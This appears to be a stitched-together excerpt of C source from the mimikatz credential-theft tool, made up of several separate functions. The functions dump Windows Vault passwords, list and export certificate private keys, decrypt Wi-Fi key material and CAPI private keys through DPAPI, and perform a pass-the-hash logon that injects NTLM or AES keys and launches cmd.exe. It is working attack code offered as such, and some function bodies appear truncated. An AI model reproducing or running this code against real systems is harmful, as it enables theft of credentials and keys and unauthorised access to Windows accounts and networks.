NTSTATUS kuhl_m_vault_list(int argc, wchar_t * argv[]) { DWORD i, j, k, l, cbVaults, cbItems; LPGUID vaults; HANDLE hVault; PVOID items; PVAULT_ITEM_7 items7, pItem7; PVAULT_ITEM_8 items8, pItem8; NTSTATUS status; BOOL isAttr = kull_m_string_args_byName(argc, argv, L"attributes", NULL, NULL); if(isVaultInit) { status = VaultEnumerateVaults(0, &cbVaults, &vaults); if(status == STATUS_SUCCESS) { for(i = 0; i < cbVaults; i++) { kprintf(L"\nVault : "); kull_m_string_displayGUID(&vaults[i]); kprintf(L"\n"); if(NT_SUCCESS(VaultOpenVault(&vaults[i], 0, &hVault))) { kuhl_m_vault_list_descVault(hVault); if(NT_SUCCESS(VaultEnumerateItems(hVault, 0x200, &cbItems, &items))) // for all :) { kprintf(L"\tItems (%u)\n", cbItems); for(j = 0; j < cbItems; j++) { if(MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_8) // to fix ! { items7 = (PVAULT_ITEM_7) items; kprintf(L"\t %2u.\t%s\n", j, items7[j].FriendlyName); kprintf(L"\t\tType : "); kull_m_string_displayGUID(&items7[j].SchemaId); kprintf(L"\n"); kprintf(L"\t\tLastWritten : "); kull_m_string_displayLocalFileTime(&items7[j].LastWritten); kprintf(L"\n"); kprintf(L"\t\tFlags : %08x\n", items7[j].Flags); kprintf(L"\t\tRessource : "); kuhl_m_vault_list_descItemData(items7[j].Ressource); kprintf(L"\n"); kprintf(L"\t\tIdentity : "); kuhl_m_vault_list_descItemData(items7[j].Identity); kprintf(L"\n"); kprintf(L"\t\tAuthenticator : "); kuhl_m_vault_list_descItemData(items7[j].Authenticator); kprintf(L"\n"); if(isAttr) { for(k = 0; k < items7[j].cbProperties; k++) { kprintf(L"\t\tProperty %2u : ", k); kuhl_m_vault_list_descItemData(items7[j].Properties + k); kprintf(L"\n"); } } pItem7 = NULL; status = VaultGetItem7(hVault, &items7[j].SchemaId, items7[j].Ressource, items7[j].Identity, NULL, 0, &pItem7); kprintf(L"\t\t*Authenticator* : "); if(status == STATUS_SUCCESS) kuhl_m_vault_list_descItemData(pItem7->Authenticator); else PRINT_ERROR(L"VaultGetItem7 : %08x", status); kprintf(L"\n"); ; } else { items8 = (PVAULT_ITEM_8) items; kprintf(L"\t %2u.\t%s\n", j, items8[j].FriendlyName); kprintf(L"\t\tType : "); kull_m_string_displayGUID(&items8[j].SchemaId); kprintf(L"\n"); kprintf(L"\t\tLastWritten : "); kull_m_string_displayLocalFileTime(&items8[j].LastWritten); kprintf(L"\n"); kprintf(L"\t\tFlags : %08x\n", items8[j].Flags); kprintf(L"\t\tRessource : "); kuhl_m_vault_list_descItemData(items8[j].Ressource); kprintf(L"\n"); kprintf(L"\t\tIdentity : "); kuhl_m_vault_list_descItemData(items8[j].Identity); kprintf(L"\n"); kprintf(L"\t\tAuthenticator : "); kuhl_m_vault_list_descItemData(items8[j].Authenticator); kprintf(L"\n"); kprintf(L"\t\tPackageSid : "); kuhl_m_vault_list_descItemData(items8[j].PackageSid); kprintf(L"\n"); if(isAttr) { for(k = 0; k < items8[j].cbProperties; k++) { kprintf(L"\t\tProperty %2u : ", k); kuhl_m_vault_list_descItemData(items8[j].Properties + k); kprintf(L"\n"); } } pItem8 = NULL; status = VaultGetItem8(hVault, &items8[j].SchemaId, items8[j].Ressource, items8[j].Identity, items8[j].PackageSid, NULL, 0, &pItem8); kprintf(L"\t\t*Authenticator* : "); if(status == STATUS_SUCCESS) kuhl_m_vault_list_descItemData(pItem8->Authenticator); else PRINT_ERROR(L"VaultGetItem8 : %08x", status); kprintf(L"\n"); for(l = 0; l < ARRAYSIZE(schemaHelper); l++) { if(RtlEqualGuid(&items8[j].SchemaId, &schemaHelper[l].guidString.guid)) { kprintf(L"\n\t\t*** %s ***\n", schemaHelper[l].guidString.text); if(schemaHelper[l].helper) schemaHelper[l].helper(&schemaHelper[l].guidString, &items8[j], ((status == STATUS_SUCCESS) && pItem8) ? pItem8 : NULL, TRUE); kprintf(L"\n"); break; } } if(pItem8) VaultFree(pItem8); } } VaultFree(items); } VaultCloseVault(&hVault); } } VaultFree(vaults); } else PRINT_ERROR(L"VaultEnumerateVaults : 0x%08x\n", status); } return STATUS_SUCCESS; }
NTSTATUS kuhl_m_standard_log(int argc, wchar_t * argv[]) { PCWCHAR filename = (kull_m_string_args_byName(argc, argv, L"stop", NULL, NULL) ? NULL : (argc ? argv[0] : MIMIKATZ_DEFAULT_LOG)); kprintf(L"Using \'%s\' for logfile : %s\n", filename, kull_m_output_file(filename) ? L"OK" : L"KO"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_crypto_l_certificates(int argc, wchar_t * argv[]) { HCERTSTORE hCertificateStore; PCCERT_CONTEXT pCertContext; DWORD i, j, dwSizeNeeded, keySpec; wchar_t *certName; PCRYPT_KEY_PROV_INFO pBuffer; HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv; HCRYPTKEY maCle; BOOL keyToFree; PCWCHAR szSystemStore, szStore; DWORD dwSystemStore = 0; BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); kull_m_string_args_byName(argc, argv, L"systemstore", &szSystemStore, kuhl_m_crypto_system_stores[0].name); dwSystemStore = kuhl_m_crypto_system_store_to_dword(szSystemStore); kull_m_string_args_byName(argc, argv, L"store", &szStore, L"My"); kprintf(L" * System Store : \'%s\' (0x%08x)\n" L" * Store : \'%s\'\n\n", szSystemStore, dwSystemStore, szStore); if(hCertificateStore = CertOpenStore(CERT_STORE_PROV_SYSTEM, 0, (HCRYPTPROV_LEGACY) NULL, dwSystemStore | CERT_STORE_OPEN_EXISTING_FLAG | CERT_STORE_READONLY_FLAG, szStore)) { for (i = 0, pCertContext = CertEnumCertificatesInStore(hCertificateStore, NULL); pCertContext != NULL; pCertContext = CertEnumCertificatesInStore(hCertificateStore, pCertContext), i++) { for(j = 0; j < ARRAYSIZE(nameSrc); j++) { dwSizeNeeded = CertGetNameString(pCertContext, nameSrc[j], 0, NULL, NULL, 0); if(dwSizeNeeded > 0) { if(certName = (wchar_t *) LocalAlloc(LPTR, dwSizeNeeded * sizeof(wchar_t))) { if(CertGetNameString(pCertContext, nameSrc[j], 0, NULL, certName, dwSizeNeeded) == dwSizeNeeded) { kprintf(L"%2u. %s\n", i, certName); dwSizeNeeded = 0; if(CertGetCertificateContextProperty(pCertContext, CERT_KEY_PROV_INFO_PROP_ID, NULL, &dwSizeNeeded)) { if(pBuffer = (PCRYPT_KEY_PROV_INFO) LocalAlloc(LPTR, dwSizeNeeded)) { if(CertGetCertificateContextProperty(pCertContext, CERT_KEY_PROV_INFO_PROP_ID, pBuffer, &dwSizeNeeded)) { kprintf( L"\tKey Container : %s\n" L"\tProvider : %s\n", (pBuffer->pwszContainerName ? pBuffer->pwszContainerName : L"(null)"), (pBuffer->pwszProvName ? pBuffer->pwszProvName : L"(null)")); if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &keyToFree)) { kprintf(L"\tType : %s (0x%08x)\n", kuhl_m_crypto_keytype_to_str(keySpec), keySpec); if(keySpec != CERT_NCRYPT_KEY_SPEC) { if(CryptGetUserKey(monProv, keySpec, &maCle)) { kuhl_m_crypto_printKeyInfos(0, maCle); CryptDestroyKey(maCle); } else PRINT_ERROR_AUTO(L"CryptGetUserKey"); if(keyToFree) CryptReleaseContext(monProv, 0); } else if(kuhl_m_crypto_hNCrypt) { kuhl_m_crypto_printKeyInfos(monProv, 0); if(keyToFree) K_NCryptFreeObject(monProv); } else PRINT_ERROR(L"keySpec == CERT_NCRYPT_KEY_SPEC without CNG Handle ?\n"); } else PRINT_ERROR_AUTO(L"CryptAcquireCertificatePrivateKey"); } else PRINT_ERROR_AUTO(L"CertGetCertificateContextProperty"); } LocalFree(pBuffer); if(!export) kprintf(L"\n"); } if(export) kuhl_m_crypto_exportCert(pCertContext, (BOOL) dwSizeNeeded, szSystemStore, szStore, i, certName); } else PRINT_ERROR_AUTO(L"CertGetNameString"); LocalFree(certName); } break; } else PRINT_ERROR_AUTO(L"CertGetNameString (for len)"); }
NTSTATUS kuhl_m_dpapi_wifi(int argc, wchar_t * argv[]) { PBYTE pFile, hex, dataOut; DWORD dwData, lenHex, lenDataOut; LPWSTR dataU, dataSSID, dataF, dataAuth; LPCWSTR infile; PKULL_M_DPAPI_BLOB blob; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, &pFile, &dwData)) { if(dataU = kull_m_string_qad_ansi_to_unicode((const char *) pFile)) { if(kull_m_string_quickxml_simplefind(dataU, L"name", &dataF)) { kprintf(L"Profile \'%s\'\n\n", dataF); LocalFree(dataF); } if(kull_m_string_quickxml_simplefind(dataU, L"SSID", &dataSSID)) { kprintf(L" * SSID "); if(kull_m_string_quickxml_simplefind(dataSSID, L"name", &dataF)) { kprintf(L"name : %s\n", dataF); LocalFree(dataF); } else if(kull_m_string_quickxml_simplefind(dataSSID, L"hex", &dataF)) { kprintf(L"hex : %s\n", dataF); LocalFree(dataF); } else kprintf(L"?\n"); LocalFree(dataSSID); } if(kull_m_string_quickxml_simplefind(dataU, L"authentication", &dataAuth)) { kprintf(L" * Authentication: %s\n", dataAuth); if(kull_m_string_quickxml_simplefind(dataU, L"encryption", &dataF)) { kprintf(L" * Encryption : %s\n", dataF); LocalFree(dataF); } if(kull_m_string_quickxml_simplefind(dataU, L"keyMaterial", &dataF)) { if(kull_m_string_stringToHexBuffer(dataF, &hex, &lenHex)) { if(blob = kull_m_dpapi_blob_create(hex)) { kprintf(L"\n"); kull_m_dpapi_blob_descr(0, blob); if(kuhl_m_dpapi_unprotect_raw_or_blob(hex, lenHex, NULL, argc, argv, NULL, 0, (LPVOID *) &dataOut, &lenDataOut, NULL)) { kprintf(L" * Key Material : "); if(_wcsicmp(dataAuth, L"WEP") == 0) { kprintf(L"(hex) "); kull_m_string_wprintf_hex(dataOut, lenDataOut, 0); } else kprintf(L"%.*S", lenDataOut, dataOut); kprintf(L"\n"); LocalFree(dataOut); } kull_m_dpapi_blob_delete(blob); } LocalFree(hex); } LocalFree(dataF); } LocalFree(dataAuth); } LocalFree(dataU); } LocalFree(pFile); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"Input Wlan XML profile needed (/in:file)\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_sekurlsa_pth(int argc, wchar_t * argv[]) { BYTE ntlm[LM_NTLM_HASH_LENGTH], aes128key[AES_128_KEY_LENGTH], aes256key[AES_256_KEY_LENGTH]; TOKEN_STATISTICS tokenStats; SEKURLSA_PTH_DATA data = {&tokenStats.AuthenticationId, NULL, NULL, NULL, FALSE}; PCWCHAR szUser, szDomain, szRun, szNTLM, szAes128, szAes256; DWORD dwNeededSize; HANDLE hToken; PROCESS_INFORMATION processInfos; if(kull_m_string_args_byName(argc, argv, L"user", &szUser, NULL)) { if(kull_m_string_args_byName(argc, argv, L"domain", &szDomain, NULL)) { kull_m_string_args_byName(argc, argv, L"run", &szRun, L"cmd.exe"); kprintf(L"user\t: %s\ndomain\t: %s\nprogram\t: %s\n", szUser, szDomain, szRun); if(kull_m_string_args_byName(argc, argv, L"aes128", &szAes128, NULL)) { if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) { if(kull_m_string_stringToHex(szAes128, aes128key, AES_128_KEY_LENGTH)) { data.Aes128Key = aes128key; kprintf(L"AES128\t: "); kull_m_string_wprintf_hex(data.Aes128Key, AES_128_KEY_LENGTH, 0); kprintf(L"\n"); } else PRINT_ERROR(L"AES128 key length must be 32 (16 bytes)\n"); } else PRINT_ERROR(L"AES128 key only supported from Windows 8.1 (or 7/8 with kb2871997)\n"); } if(kull_m_string_args_byName(argc, argv, L"aes256", &szAes256, NULL)) { if(MIMIKATZ_NT_BUILD_NUMBER >= KULL_M_WIN_MIN_BUILD_7) { if(kull_m_string_stringToHex(szAes256, aes256key, AES_256_KEY_LENGTH)) { data.Aes256Key = aes256key; kprintf(L"AES256\t: "); kull_m_string_wprintf_hex(data.Aes256Key, AES_256_KEY_LENGTH, 0); kprintf(L"\n"); } else PRINT_ERROR(L"AES256 key length must be 64 (32 bytes)\n"); } else PRINT_ERROR(L"AES256 key only supported from Windows 8.1 (or 7/8 with kb2871997)\n"); } if(kull_m_string_args_byName(argc, argv, L"rc4", &szNTLM, NULL) || kull_m_string_args_byName(argc, argv, L"ntlm", &szNTLM, NULL)) { if(kull_m_string_stringToHex(szNTLM, ntlm, LM_NTLM_HASH_LENGTH)) { data.NtlmHash = ntlm; kprintf(L"NTLM\t: "); kull_m_string_wprintf_hex(data.NtlmHash, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); } else PRINT_ERROR(L"ntlm hash length must be 32 (16 bytes)\n"); } if(data.NtlmHash || data.Aes128Key || data.Aes256Key) { if(kull_m_process_create(KULL_M_PROCESS_CREATE_LOGON, szRun, CREATE_SUSPENDED, NULL, LOGON_NETCREDENTIALS_ONLY, szUser, szDomain, L"", &processInfos, FALSE)) { kprintf(L" | PID %u\n | TID %u\n",processInfos.dwProcessId, processInfos.dwThreadId); if(OpenProcessToken(processInfos.hProcess, TOKEN_READ, &hToken)) { if(GetTokenInformation(hToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwNeededSize)) { kprintf(L" | LUID %u ; %u (%08x:%08x)\n", tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart, tokenStats.AuthenticationId.HighPart, tokenStats.AuthenticationId.LowPart); kprintf(L" \\_ msv1_0 - "); kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_msv_pth, &data); kprintf(L"\n"); kprintf(L" \\_ kerberos - "); kuhl_m_sekurlsa_enum(kuhl_m_sekurlsa_enum_callback_kerberos_pth, &data); kprintf(L"\n"); } else PRINT_ERROR_AUTO(L"GetTokenInformation"); CloseHandle(hToken); } else PRINT_ERROR_AUTO(L"OpenProcessToken"); if(data.isReplaceOk) NtResumeProcess(processInfos.hProcess); else NtTerminateProcess(processInfos.hProcess, STATUS_FATAL_APP_EXIT); CloseHandle(processInfos.hThread); CloseHandle(processInfos.hProcess); } else PRINT_ERROR_AUTO(L"CreateProcessWithLogonW"); } else PRINT_ERROR(L"Missing at least one argument : ntlm OR aes128 OR aes256\n"); } else PRINT_ERROR(L"Missing argument : domain\n"); } else PRINT_ERROR(L"Missing argument : user\n"); return STATUS_SUCCESS; }
NTSTATUS kuhl_m_dpapi_keys_capi(int argc, wchar_t * argv[]) { PVOID file, out; PRSA_GENERICKEY_BLOB blob; DWORD szFile, outLen, szBlob; PKULL_M_KEY_CAPI_BLOB capiKey; LPCWSTR infile; PWSTR name; if(kull_m_string_args_byName(argc, argv, L"in", &infile, NULL)) { if(kull_m_file_readData(infile, (PBYTE *) &file, &szFile)) { if(capiKey = kull_m_key_capi_create(file)) { kull_m_key_capi_descr(0, capiKey); if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pSiExportFlag, capiKey->dwSiExportFlagLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS, sizeof(KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS), &out, &outLen, L"Decrypting AT_SIGNATURE Export flags:\n")) { kull_m_string_wprintf_hex(out, outLen, 0); kprintf(L"\n"); LocalFree(out); } if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pSiPrivateKey, capiKey->dwSiPrivateKeyLen, NULL, argc, argv, NULL, 0, &out, &outLen, L"Decrypting AT_SIGNATURE Private Key:\n")) { kull_m_string_wprintf_hex(out, outLen, 0); kprintf(L"\n"); if(kull_m_key_capi_decryptedkey_to_raw(out, outLen, &blob, &szBlob)) { if(name = kull_m_string_qad_ansi_to_unicode(capiKey->pName)) { kuhl_m_crypto_exportRawKeyToFile(blob, szBlob, FALSE, L"raw_signature", 0, name, TRUE, TRUE); LocalFree(name); } LocalFree(blob); } LocalFree(out); } if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pExExportFlag, capiKey->dwExExportFlagLen, NULL, argc, argv, KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS, sizeof(KIWI_DPAPI_ENTROPY_CAPI_KEY_EXPORTFLAGS), &out, &outLen, L"Decrypting AT_EXCHANGE Export flags:\n")) { kull_m_string_wprintf_hex(out, outLen, 0); kprintf(L"\n"); LocalFree(out); } if(kuhl_m_dpapi_unprotect_raw_or_blob(capiKey->pExPrivateKey, capiKey->dwExPrivateKeyLen, NULL, argc, argv, NULL, 0, &out, &outLen, L"Decrypting AT_EXCHANGE Private Key:\n")) { kull_m_string_wprintf_hex(out, outLen, 0); kprintf(L"\n"); if(kull_m_key_capi_decryptedkey_to_raw(out, outLen, &blob, &szBlob)) { if(name = kull_m_string_qad_ansi_to_unicode(capiKey->pName)) { kuhl_m_crypto_exportRawKeyToFile(blob, szBlob, FALSE, L"raw_exchange", 0, name, TRUE, TRUE); LocalFree(name); } LocalFree(blob); } LocalFree(out); } kull_m_key_capi_delete(capiKey); } LocalFree(file); } else PRINT_ERROR_AUTO(L"kull_m_file_readData"); } else PRINT_ERROR(L"Input CAPI private key file needed (/in:file)\n"); return STATUS_SUCCESS; }